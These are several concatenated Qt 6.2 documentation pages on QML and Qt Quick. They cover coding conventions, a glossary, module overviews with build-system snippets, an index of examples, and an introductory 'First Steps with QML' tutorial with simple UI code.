	+ [Structure of a QML Document](qtqml-documents-structure)
	+ [Syntax of the QML Language](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html#syntax-of-the-qml-language)
	+ [Defining Object Types through QML Documents](qtqml-documents-definetypes)
		- [Defining an Object Type with a QML File](qtqml-documents-definetypes#defining-an-object-type-with-a-qml-file)
		- [Accessible Attributes of Custom Types](qtqml-documents-definetypes#accessible-attributes-of-custom-types)
	+ [Resource Loading and Network Transparency](qtqml-documents-networktransparency)
	+ [Scope and Naming Resolution](qtqml-documents-scope)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qmlreference.html>

QML Coding Conventions
======================

 This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow.

 QML Object Declarations
-----------------------

 Throughout our documentation and examples, [QML object attributes](qtqml-syntax-objectattributes) are always structured in the following order:

 * id
* property declarations
* signal declarations
* JavaScript functions
* object properties
* child objects

 For better readability, we separate these different parts with an empty line.

 For example, a hypothetical *photo* QML object would look like this:

 
```
Rectangle {
    id: photo                                               // id on the first line makes it easy to find an object

    property bool thumbnail: false                          // property declarations
    property alias image: photoImage.source

    signal clicked                                          // signal declarations

    function doSomething(x)                                 // javascript functions
    {
        return x + photoImage.width
    }

    color: "gray"                                           // object properties
    x: 20                                                   // try to group related properties together
    y: 20
    height: 150
    width: {                                                // large bindings
        if (photoImage.width > 200) {
            photoImage.width;
        } else {
            200;
        }
    }

    states: [
        State {
            name: "selected"
            PropertyChanges { target: border; color: "red" }
        }
    ]

    transitions: [
        Transition {
            from: ""
            to: "selected"
            ColorAnimation { target: border; duration: 200 }
        }
    ]

    Rectangle {                                             // child objects
        id: border
        anchors.centerIn: parent; color: "white"

        Image {
            id: photoImage
            anchors.centerIn: parent
        }
    }
}
```
 Grouped Properties
------------------

 If using multiple properties from a group of properties, consider using *group notation* instead of *dot notation* if it improves readability.

 For example, this:

 
```
Rectangle {
    anchors.left: parent.left; anchors.top: parent.top; anchors.right: parent.right; anchors.leftMargin: 20
}

Text {
    text: "hello"
    font.bold: true; font.italic: true; font.pixelSize: 20; font.capitalization: Font.AllUppercase
}
```
 could be written like this:

 
```
Rectangle {
    anchors { left: parent.left; top: parent.top; right: parent.right; leftMargin: 20 }
}

Text {
    text: "hello"
    font { bold: true; italic: true; pixelSize: 20; capitalization: Font.AllUppercase }
}
```
 Unqualified access
------------------

 In order to improve readability and performance always reference properties of parent components by their id explicitly:

 
```
Item {
    id: root

    property int rectangleWidth: 50

    Rectangle {
        width: root.rectangleWidth
    }
}
```
 Required properties
-------------------

 When requiring data defined outside the component, make this explicit by using [Required Properties](qml-codingconventions#required-properties). Required properties must be set or else the creation of the component will fail. These are preferable to unqualified lookups because they are more performant and allow for both users and tooling to reason about an external property's type. Additionally they remove assumptions that a component otherwise has to make about the environment in which it is created.

 Signal handlers
---------------

 When handling parameters in signal handlers use functions which name them explicitly:

 
```
MouseArea {
    onClicked: (event) => { console.log(`${event.x},${event.y}`); }
}
```
 JavaScript Code
---------------

 If the script is a single expression, we recommend writing it inline:

 
```
Rectangle { color: "blue"; width: parent.width / 3 }
```
 If the script is only a couple of lines long, we generally use a block:

 
```
Rectangle {
    color: "blue"
    width: {
        var w = parent.width / 3
        console.debug(w)
        return w
    }
}
```
 If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this:

 
```
function calculateWidth(object : Item) : double
{
    var w = object.width / 3
    // ...
    // more javascript code
    // ...
    console.debug(w)
    return w
}

Rectangle { color: "blue"; width: calculateWidth(parent) }
```
 Also note that is recommended to add type annotations to your function in order to more easily reason about and refactor your application since both parameter and return types are immediately visible from the function signature.

 For long scripts, we will put the functions in their own JavaScript file and import it like this:

 
```
import "myscript.js" as Script

Rectangle { color: "blue"; width: Script.calculateWidth(parent) }
```
 If the code is longer than one line and hence within a block, we use semicolons to indicate the end of each statement:

 
```
MouseArea {
    anchors.fill: parent
    onClicked: {
        var scenePos = mapToItem(null, mouseX, mouseY);
        console.log("MouseArea was clicked at scene pos " + scenePos);
    }
}
```
 Related Information
-------------------

 * [Best Practices for QML and Qt Quick](qtquick-bestpractices)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-codingconventions.html>

Glossary Of QML Terms
=====================

 Common Terms
------------

 

| Term | Definition |
| --- | --- |
| QML | The language in which QML applications are written. The language architecture and engine are implemented by the Qt QML module. |
| Qt Quick | The standard library of types and functionality for the QML language, which is provided by the Qt Quick module, and may be accessed with "import [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html)". |
| Type | In QML, a *type* may refer to either a [Basic Type](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html) or a [QML Object Type](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html).The QML language provides a number of built-in [basic types](qtqml-typesystem-basictypes), and the Qt Quick module provides various [Qt Quick types](https://doc.qt.io/qt-6.2/qtquick-qmlmodule.html) for building QML applications. Types can also be provided by third-party developers through ([modules](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html)) or by the application developer in the application itself through [QML Documents](qtqml-documents-definetypes). See [The QML Type System](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html) for more details. |
| Basic Type | A [basic type](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html) is a simple type such as `int`, `string` and `bool`. Unlike [object types](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html), an object cannot be instantiated from a basic type; for example, it is not possible to create an `int` object with properties, methods, signals and so on.Basic types are built into the QML language, whereas object types cannot be used unless the appropriate [module](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html) is imported. See [The QML Type System](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html) for more details. |
| Object Type | A [QML Object Type](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html) is a type that can be instantiated by the QML engine.A QML type can be defined either by a document in a .qml file beginning with a capital letter, or by a [QObject](qobject)-based C++ class. See [The QML Type System](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html) for more details. |
| Object | A QML object is an instance of a [QML Object Type](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html).Such objects are created by the engine when it processes [object declarations](qtqml-syntax-basics), which specify the objects to be created and the attributes that are to be defined for each object. Additionally, objects can be dynamically created at runtime through Component.createObject() and Qt.createQmlObject(). See also [Lazy Instantiation](qml-glossary#lazy-instantiation). |
| Component | A component is a template from which a QML object or object tree is created. It is produced when a document is loaded by the QML engine. Once it has been loaded, it can be used to instantiate the object or object tree that it represents.Additionally, the [Component](qml-qtqml-component) type is a special type that can can be used to declare a component inline within a document. Component objects can also be dynamically created through Qt.createComponent() to dynamically create QML objects. |
| Document | A [QML Document](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html) is a self contained piece of QML source code that begins with one or more import statements and contains a single top-level object declaration. A document may reside in a .qml file or a text string.If it is placed in a .qml file whose name begins with a capital letter, the file is recognized by the engine as a definition of a QML type. The top-level object declaration encapsulates the object tree that will be instantiated by the type. |
| Property | A property is an attribute of an object type that has a name and an associated value; this value can be read (and in most cases, also written to) externally.An object can have one or more properties. Some properties are associated with the canvas (e.g., x, y, width, height, and opacity) while others may be data specific to that type (e.g., the "text" property of the [Text](qml-qtquick-text) type). See [QML Object Attributes](qtqml-syntax-objectattributes) for more details. |
| Binding | A binding is a JavaScript expression which is "bound" to a property. The value of the property at any point in time will be the value returned by evaluating that expression.See [Property Binding](qtqml-syntax-propertybinding) for more details. |
| Signal | A signal is a notification from a QML object. When an object emits a signal, other objects can receive and process this signal through a [signal handler](qtqml-syntax-objectattributes#signal-attributes).Most properties of QML objects have a change signal, and also an associated change signal handler which may be defined by clients to implement functionality. For example, the "onClicked()" handler of an instance of the [MouseArea](qml-qtquick-mousearea) type might be defined in an application to cause a sound to be played. See [Signal and Handler Event System](qtqml-syntax-signals) for more details. |
| Signal Handler | A signal handler is the expression (or function) which is triggered by a signal. It is also known as a "slot" in C++.See [Signal and Handler Event System](qtqml-syntax-signals) for more details. |
| Lazy Instantiation | Object instances can be instantiated "lazily" at run-time, to avoid performing unnecessary work until needed. Qt Quick provides the [Loader](qml-qtquick-loader) type to make lazy instantiation more convenient. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-glossary.html>

Qt Quick
========

 The Qt Quick module is the standard library for writing QML applications. While the [Qt QML](qtqml-index) module provides the QML engine and language infrastructure, the Qt Quick module provides all the basic types necessary for creating user interfaces with QML. It provides a visual canvas and includes types for creating and animating visual components, receiving user input, creating data models and views and delayed object instantiation.

 The Qt Quick module provides both a [QML API](https://doc.qt.io/qt-6.2/qtquick-qmlmodule.html) which supplies QML types for creating user interfaces with the QML language, and a [C++ API](https://doc.qt.io/qt-6.2/qtquick-module.html) for extending QML applications with C++ code.

  **Note:** A set of Qt Quick-based UI controls is also available to create user interfaces. See [Qt Quick Controls](qtquickcontrols-index) for more information.

  For those new to QML and Qt Quick, please see [QML Applications](qmlapplications) for an introduction to writing QML applications.

 Using the Module
----------------

 ### QML API

 The QML types in Qt Quick are available through the `QtQuick` import. To use the types, add the following import statement to your .qml file:

 
```
import QtQml
```
 ### C++ API

 Using the [C++ API](https://doc.qt.io/qt-6.2/qtquick-module.html) requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 #### Building with CMake

 Use the `find_package()` command to locate the needed module components in the Qt6 package:

 
```
find_package(Qt6 COMPONENTS Quick REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Quick)
```
 See also the [Build with CMake](cmake-manual) overview.

 #### Building with qmake

 To configure the module for building with qmake, add the module as a value of the QT variable in the project's .pro file:

 
```
QT += quick
```
 Important Concepts in Qt Quick
------------------------------

 Qt Quick provides everything needed to create a rich application with a fluid and dynamic user interface. It enables user interfaces to be built around the behavior of user interface components and how they connect with one another, and it provides a visual canvas with its own coordinate system and rendering engine. Animation and transition effects are a first class concept in Qt Quick, and visual effects can be supplemented through specialized components for particle and shader effects.

 * [The Visual Canvas](https://doc.qt.io/qt-6.2/qtquick-visualcanvas-topic.html)
* [User Input](https://doc.qt.io/qt-6.2/qtquick-input-topic.html)
* [Positioning](https://doc.qt.io/qt-6.2/qtquick-positioning-topic.html)
* [States, Transitions And Animations](https://doc.qt.io/qt-6.2/qtquick-statesanimations-topic.html)
* [Data - Models, Views and Data Storage](https://doc.qt.io/qt-6.2/qtquick-modelviewsdata-topic.html)
* [Particles And Graphical Effects](https://doc.qt.io/qt-6.2/qtquick-effects-topic.html)
* [Convenience Types](https://doc.qt.io/qt-6.2/qtquick-convenience-topic.html)

 When using the `QtQuick` module, you will need to know how to write QML applications using the QML language. In particular, QML Basics and QML Essentials from the [QML Applications](qmlapplications) page.

 To find out more about using the QML language, see the [Qt QML](qtqml-index) module documentation.

 C++ Extension Points
--------------------

 * [C++ Extension Points](qtquick-cppextensionpoints)
	+ [Creating User-Defined QQuickItem-Derived Types](qtquick-cppextensionpoints#user-defined-qquickitem-derived-types)
	+ [Scene Graph-Related Classes](qtquick-cppextensionpoints#scene-graph-related-classes)
	+ [Pixmap and Threaded Image Support](qtquick-cppextensionpoints#pixmap-and-threaded-image-support)

 Licenses and Attributions
-------------------------

 Qt Quick is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses. Since Qt 5.4, these free software licenses are [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Reference Documentation
-----------------------

 Additional Qt Quick information:

 * [Qt Quick C++ Classes](https://doc.qt.io/qt-6.2/qtquick-module.html) - the C++ API provided by the Qt Quick module
* [Qt Quick QML Types](https://doc.qt.io/qt-6.2/qtquick-qmlmodule.html) - a list of QML types provided by the `QtQuick` import
	+ [Local Storage](https://doc.qt.io/qt-6.2/qtquick-localstorage-qmlmodule.html) - a submodule containing a JavaScript interface for an SQLite database
	+ [Particles](https://doc.qt.io/qt-6.2/qtquick-particles-qmlmodule.html) - provides a particle system for Qt Quick
	+ [Layouts](qtquicklayouts-index) - provides layouts for arranging Qt Quick items
	+ [Tests](https://doc.qt.io/qt-6.2/qttest-qmlmodule.html) - contains types for writing unit test for a QML application
* [Qt Quick Examples and Tutorials](qtquick-codesamples)
* [Qt Quick Tools and Utilities](qtquick-tools-and-utilities)
* [Qt Quick Guidelines](qtquick-bestpractices)

 Further information for writing QML applications:

 * [QML Applications](qmlapplications) - essential information for application development with QML and Qt Quick
* [Qt QML](qtqml-index) - documentation for the Qt QML module, which provides the QML engine and language infrastructure



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-index.html>

Qt Quick Controls
=================

 Qt Quick Controls provides a set of controls that can be used to build complete interfaces in Qt Quick. The module was introduced in Qt 5.7.

 ![]


Qt Quick Controls comes with a selection customizable styles. See [Styling Qt Quick Controls](qtquickcontrols2-styles) for more details.

 Using the Module
----------------

 ### QML API

 The [QML types](https://doc.qt.io/qt-6.2/qtquick-controls2-qmlmodule.html) can be imported into your application using the following import statement in your `.qml` file:

 
```
import QtQuick.Controls
```
 ### C++ API

 Using the [C++ API](https://doc.qt.io/qt-6.2/qtquickcontrols2-module.html) requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including CMake and qmake.

 #### Building with CMake

 Use the `find_package()` command to locate the needed module components in the Qt6 package:

 
```
find_package(Qt6 COMPONENTS QuickControls2 REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::QuickControls2)
```
 See also the [Build with CMake](cmake-manual) overview.

 #### Building with qmake

 To configure the module for building with qmake, add the module as a value of the QT variable in the project's .pro file:

 
```
QT += quickcontrols2
```
 ### Building From Source

 The **Qt Image Formats** module is recommended, but not required. It provides support for the `.webp` format used by the [Imagine style](qtquickcontrols2-imagine#animated-images).

 Versions
--------

 Qt Quick Controls 2.0 was introduced in Qt 5.7. Subsequent minor Qt releases increment the import version of the Qt Quick Controls modules by one, until Qt 5.12, where the import versions match Qt's minor version.

 In Qt 6, both the major and minor versions match, and version numbers may be omitted from imports in QML. If the version is omitted, the latest version will be used.

 The experimental Qt Labs modules use import version 1.0.

 

| `Qt` | [`QtQuick`](https://doc.qt.io/qt-6.2/qtquick-qmlmodule.html) | [`QtQuick.Controls`](https://doc.qt.io/qt-6.2/qtquick-controls2-qmlmodule.html), [`QtQuick.Controls.Material`](qtquickcontrols2-material), [`QtQuick.Controls.Universal`](qtquickcontrols2-universal), [`QtQuick.Templates`](https://doc.qt.io/qt-6.2/qtquick-templates2-qmlmodule.html) | [`Qt.labs.platform`](https://doc.qt.io/qt-6.2/qt-labs-platform-qmlmodule.html) |
| --- | --- | --- | --- |
| 5.7 | 2.7 | 2.0 | 1.0 |
| 5.8 | 2.8 | 2.1 | 1.0 |
| 5.9 | 2.9 | 2.2 | 1.0 |
| 5.10 | 2.10 | 2.3 | 1.0 |
| 5.11 | 2.11 | 2.4 | 1.0 |
| 5.12 | 2.12 | 2.12 | 1.0 |
| 6.0 | 6.0 | 6.0 | 1.0 |
| ... | ... | ... | ... |

 Module Evolution
----------------

 [Changes to Qt Quick Controls](qtquickcontrols-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 License and Attributions
------------------------

 Qt Quick Controls is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under the [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Furthermore Qt Quick Controls potentially contains third party modules under following permissive licenses:

 

|  |  |
| --- | --- |
| [Shadow values from Angular Material](https://doc.qt.io/qt-6.2/qtquickcontrols-attribution-shadow-angular-material.html) | MIT License |

 Topics
------

 * [Getting Started](qtquickcontrols2-gettingstarted)
* [Guidelines](qtquickcontrols2-guidelines)
* [Styling](qtquickcontrols2-styles)
* [Icons](qtquickcontrols2-icons)
* [Customization](qtquickcontrols2-customize)
* [Using File Selectors](qtquickcontrols2-fileselectors)
* [Deployment](https://doc.qt.io/qt-6.2/qtquickcontrols2-deployment.html)
* [Configuration File](qtquickcontrols2-configuration)
* [Environment Variables](qtquickcontrols2-environment)

 Reference
---------

 * [QML Types](https://doc.qt.io/qt-6.2/qtquick-controls2-qmlmodule.html)
* [C++ Classes](https://doc.qt.io/qt-6.2/qtquickcontrols2-module.html)

 Examples
--------

 * [Gallery](https://doc.qt.io/qt-6.2/qtquickcontrols-gallery-example.html)
* [Chat Tutorial](https://doc.qt.io/qt-6.2/qtquickcontrols-chattutorial-example.html)
* [Text Editor](https://doc.qt.io/qt-6.2/qtquickcontrols-texteditor-example.html)
* [Wearable Demo](https://doc.qt.io/qt-6.2/qtquickcontrols-wearable-example.html)
* [Automotive Example](https://doc.qt.io/qt-6.2/qtquickcontrols-imagine-automotive-example.html)
* [Music Player Example](https://doc.qt.io/qt-6.2/qtquickcontrols-imagine-musicplayer-example.html)
* [All Examples](https://doc.qt.io/qt-6.2/qtquickcontrols2-examples.html)

 Related Modules
---------------

 * [Qt Quick](qtquick-index)
* [Qt Quick Layouts](qtquicklayouts-index)
* [Qt Quick Templates 2](qtquicktemplates2-index)
* [Qt Labs Platform](qtlabsplatform-index)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols-index.html>

Qt Quick Examples and Tutorials
===============================

 This page lists the [Qt QML](qtqml-index) and [Qt Quick](qtquick-index) examples, however, many other [Qt modules](https://doc.qt.io/qt-6.2/qtmodules.html) contain examples related to their QML API.

 Running the Examples and Demos
------------------------------

 The examples are packaged with the [Qt installers](gettingstarted) and are accessed through Qt Creator. For more information about running examples in Qt Creator, visit the [Building and Running an Example](https://doc.qt.io/qtcreator/creator-build-example-application.html) page.

 Open and run examples within Qt Creator's **Welcome** mode. Most of the examples run on various platforms and to search for platform-specific examples, type the platform name (or any keywords) in the search field. For example, typing `mobile` in the search field lists the examples that are fully compatible with the [mobile](https://doc.qt.io/qt-6.2/topics-core.html#platform-support) platforms.

 To view other examples and tutorials, visit the [Qt Examples And Tutorials](https://doc.qt.io/qt-6.2/qtexamplesandtutorials.html) page.

 Qt Quick Demos
--------------

 Here is a list of fully-functional demo applications. They are full applications that show how a deployable Qt application is built and structured. Many of the demos are deployable to mobile and desktop platforms.

 

|  |  |
| --- | --- |
| [Coffee Machine Example](https://doc.qt.io/qt-6.2/qtdoc-demos-coffee-example.html) | A Qt Quick application with a state-based custom user interface |
| [Qt Quick Demo - Calqlatr](https://doc.qt.io/qt-6.2/qtdoc-demos-calqlatr-example.html) | A QML app designed for portrait devices that uses custom components, animated with AnimationController, and JavaScript for the application logic |
| [Qt Quick Demo - Clocks](https://doc.qt.io/qt-6.2/qtdoc-demos-clocks-example.html) | A QML clock application that demonstrates using a ListView type to display data generated by a ListModel and a SpringAnimation type to animate images |
| [Qt Quick Demo - Photo Surface](https://doc.qt.io/qt-6.2/qtdoc-demos-photosurface-example.html) | A QML app for touch devices that uses a Repeater with a FolderListModel to access content in a folder, and a PinchArea that contains a MouseArea to handle pinch gestures on the fetched content |
| [Qt Quick Demo - Photo Viewer](https://doc.qt.io/qt-6.2/qtdoc-demos-photoviewer-example.html) | A QML photo viewer that uses XmlListModel and XmlListModelRole to download Flickr feeds, and Package to display the photos in different views |
| [Qt Quick Demo - RSS News](https://doc.qt.io/qt-6.2/qtdoc-demos-rssnews-example.html) | A QML RSS news reader that uses XmlListModel and XmlListModelRole custom QML types to download XML data, ListModel and ListElement to create a category list, and ListView to display the data |
| [Qt Quick Demo - StocQt](https://doc.qt.io/qt-6.2/qtdoc-demos-stocqt-example.html) | A configurable stock chart for the NASDAQ-100 |

 Developing Qt Quick Applications
--------------------------------

 The following pages show how to develop Qt applications using [Qt Creator](http://doc.qt.io/qtcreator/index.html) and Qt Quick. The pages demonstrate various steps such as use cases and introductory material. For more information about Qt Quick Applications and related modules, visit the [QML Applications](qmlapplications) page.

 

**Development Environment**

 * [Creating Qt Quick Projects](https://doc.qt.io/qtcreator/quick-projects.html)
* [Creating Components](https://doc.qt.io/qtcreator/quick-components.html)
* [Exporting Components](https://doc.qt.io/qtcreator/creator-exporting-qml.html)
* [Using QML Modules with Plugins](https://doc.qt.io/qtcreator/creator-qml-modules-with-plugins.html)

 

**Beginning with QML and Qt Quick**

 * [First Steps with QML](qmlfirststeps)
* [Qt Quick Text Editor](https://doc.qt.io/qt-6.2/qtdoc-tutorials-alarms-example.html)
* [SameGame](https://doc.qt.io/qt-6.2/qml-advtutorial.html)

 

**Use Cases**

 * [Visual types in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-visual.html)
* [Responding to User Input in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-userinput.html)
* [Animations in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-animations.html)
* [Displaying Text in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-text.html)
* [Layouts in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-layouts.html)
* [Style and Theme Support](https://doc.qt.io/qt-6.2/qtquick-usecase-styling.html)
* [Integrating JavaScript in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-integratingjs.html)

 

### Extending QML

 The following tutorials show how a QML-based application can be combined with C++ code using the [Qt QML](qtqml-index) module. For information about extending QML, visit the [Integrating QML and C++](https://doc.qt.io/qt-6.2/qtqml-cppintegration-topic.html) page.

 

|  |  |
| --- | --- |
| [Extending QML - Adding Types Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-adding-example.html) | Exporting C++ Classes |
| [Extending QML - Attached Properties Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-attached-example.html) | Attached Properties |
| [Extending QML - Binding Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-binding-example.html) | Binding |
| [Extending QML - Default Property Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-default-example.html) | Default Property |
| [Extending QML - Extension Objects Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-extended-example.html) | Extension Objects |
| [Extending QML - Grouped Properties Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-grouped-example.html) | Grouped Properties |
| [Extending QML - Inheritance and Coercion Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-coercion-example.html) | C++ Inheritance and Coercion |
| [Extending QML - Methods Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-methods-example.html) | Methods Support |
| [Extending QML - Object and List Property Types Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-properties-example.html) | Exporting C++ Properties |
| [Extending QML - Property Value Source Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-valuesource-example.html) | Property Value Source |
| [Extending QML - Signal Support Example](https://doc.qt.io/qt-6.2/qtqml-referenceexamples-signal-example.html) | Signal Support |

 Examples
--------

 Examples are small applications which show how to implement various Qt Quick features. The examples run on various platforms and are opened from within Qt Creator.

 

**QML Types and Controls**

 * [Controls Gallery](https://doc.qt.io/qt-6.2/qtquickcontrols-gallery-example.html)
* [Calendar Example](https://doc.qt.io/qt-6.2/qtwidgets-richtext-calendar-example.html)
* [TableView](https://doc.qt.io/qt-6.2/qtquick-tableview-gameoflife-example.html)
* [Text and Fonts](https://doc.qt.io/qt-6.2/qtquick-text-example.html)
* [Custom Toggle Switch](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html)

 

**Layouts and Views**

 * [Qt Quick Layouts - Basic Example](https://doc.qt.io/qt-6.2/qtquick-layouts-example.html)
* [Positioners](https://doc.qt.io/qt-6.2/qtquick-positioners-example.html)
* [Views](https://doc.qt.io/qt-6.2/qtquick-views-example.html)
* [Windows and Screen](https://doc.qt.io/qt-6.2/qtquick-window-example.html)
* [Right-to-Left and Text Layout](https://doc.qt.io/qt-6.2/qtquick-righttoleft-example.html)

 

**Image and Graphics**

 * [Image Elements](https://doc.qt.io/qt-6.2/qtquick-imageelements-example.html)
* [Animation](https://doc.qt.io/qt-6.2/qtquick-animation-example.html)
* [Canvas API](https://doc.qt.io/qt-6.2/qtquick-canvas-example.html)
* [Shader Effects](https://doc.qt.io/qt-6.2/qtquick-shadereffects-example.html)

 



**Keyboard, Focus, and Touch**

 * [Key Interaction](https://doc.qt.io/qt-6.2/qtquick-keyinteraction-example.html)
* [MouseArea](https://doc.qt.io/qt-6.2/qtquick-mousearea-example.html)

 

**System and Events**

 * [Threading](https://doc.qt.io/qt-6.2/qtquick-threading-example.html)
* [Accessibility](https://doc.qt.io/qt-6.2/qtquick-quick-accessibility-example.html)
* [External Drag and Drop](https://doc.qt.io/qt-6.2/qtquick-externaldraganddrop-example.html)
* [Drag and Drop](https://doc.qt.io/qt-6.2/qtquick-draganddrop-example.html)

 

**Scene Graph**

 * [Custom Material](https://doc.qt.io/qt-6.2/qtquick-scenegraph-custommaterial-example.html)
* [Texture Providers and Materials](https://doc.qt.io/qt-6.2/qtquick-scenegraph-twotextureproviders-example.html)
* [Custom Geometry](https://doc.qt.io/qt-6.2/qtquick-scenegraph-customgeometry-example.html)
* [Graph](https://doc.qt.io/qt-6.2/qtquick-scenegraph-graph-example.html)
* [OpenGL Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-openglunderqml-example.html)
* [Direct3D 11 Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-d3d11underqml-example.html)
* [Vulkan Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-vulkanunderqml-example.html)
* [Vulkan Texture Import](https://doc.qt.io/qt-6.2/qtquick-scenegraph-vulkantextureimport-example.html)
* [Metal Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-metalunderqml-example.html)
* [Metal Texture Import](https://doc.qt.io/qt-6.2/qtquick-scenegraph-metaltextureimport-example.html)
* [Rendering to OpenGL FBOs](https://doc.qt.io/qt-6.2/qtquick-scenegraph-fboitem-example.html)

 


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-codesamples.html>

First Steps with QML
====================

 Creating a QML Document
-----------------------

 A QML document defines a hierarchy of objects with a highly-readable, structured layout. Every QML document consists of two parts: an imports section and an object declaration section. The types and functionality most common to user interfaces are provided in the `QtQuick` import.

 ### Importing and Using the QtQuick Module

 To use the [Qt Quick](qtquick-index) module, a QML document needs to import it. The import syntax looks like this:

 
```
import QtQuick
```
 The types and functionality that [Qt Quick](qtquick-index) provides can now be used in the QML document!

 ### Defining an Object Hierarchy

 The object declaration in a QML document defines what will be displayed in the visual scene. [Qt Quick](qtquick-index) provides the basic building blocks for all user interfaces, such as the objects for displaying images and text and for handling user input.

 A simple object declaration might be a colored rectangle with some text centered in it:

 
```
Rectangle {
    width: 200
    height: 100
    color: "red"

    Text {
        anchors.centerIn: parent
        text: "Hello, World!"
    }
}
```
 This defines an object hierarchy with a root [Rectangle](qml-qtquick-rectangle) object which has a child [Text](qml-qtquick-text) object. The `parent` of the [Text](qml-qtquick-text) object is automatically set to the [Rectangle](qml-qtquick-rectangle), and similarly, the [Text](qml-qtquick-text) object is added to the `children` property of the [Rectangle](qml-qtquick-rectangle) object, by QML.

 ### Putting it All Together

 The [Rectangle](qml-qtquick-rectangle) and [Text](qml-qtquick-text) types used in the above example are both provided by the `QtQuick` import. Putting the import and object declaration together, we get a complete QML document:

 
```
import QtQuick

Rectangle {
    width: 200
    height: 100
    color: "red"

    Text {
        anchors.centerIn: parent
        text: "Hello, World!"
    }
}
```
 If we save that document as "HelloWorld.qml", we can load and display it.

 Creating and Running QML Projects
---------------------------------

 To display the graphical scene defined by the QML document, it may be loaded with [Qt Creator](https://doc.qt.io/qtcreator/index.html). For simple UI files such as this one, select **File > New File or Project > Application (Qt Quick) > Qt Quick Application - Empty** from within Qt Creator.

 Pressing the green **Run** button runs the application. You should see the text **Hello, World!** in the center of a red rectangle.

 For more information about creating and running projects in Qt Creator, visit the following pages:

 * [Creating Qt Quick Projects](https://doc.qt.io/qtcreator/quick-projects.html)
* [Building and Running an Example](https://doc.qt.io/qtcreator/creator-build-example-application.html)

 Creating QML Applications with Controls
---------------------------------------

 While Qt Quick provides basic graphical elements, [Qt Quick Controls](qtquickcontrols-index) provides ready-made QML types for use within an application.

 Inserting the [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow) type is a good starting point for creating applications. An application UI has this basic layout:

 ![]


Within each area, different *controls* may be added and connected to form an application. For example, the following snippet is a basic application that demonstrates the use of available space:

 
```
//import related modules
import QtQuick
import QtQuick.Controls

//window containing the application
ApplicationWindow {

    //title of the application
    title: qsTr("Hello World")
    width: 640
    height: 480

    //menu containing two menu items
    menuBar: MenuBar {
        Menu {
            title: qsTr("File")
            MenuItem {
                text: qsTr("&Open")
                onTriggered: console.log("Open action triggered");
            }
            MenuItem {
                text: qsTr("Exit")
                onTriggered: Qt.quit();
            }
        }
    }

    //Content Area

    //a button in the middle of the content area
    Button {
        text: qsTr("Hello World")
        anchors.horizontalCenter: parent.horizontalCenter
        anchors.verticalCenter: parent.verticalCenter
    }
}
```
 The application has two menu items and a button in the middle. Clicking on the **Exit** menu item closes the application.

 There are also different navigation methods and different controls such as buttons and sliders. The following examples are available from Qt Creator and demonstrate different controls and layouts.

 * [Basic Layouts](https://doc.qt.io/qt-6.2/qtquick-layouts-example.html)
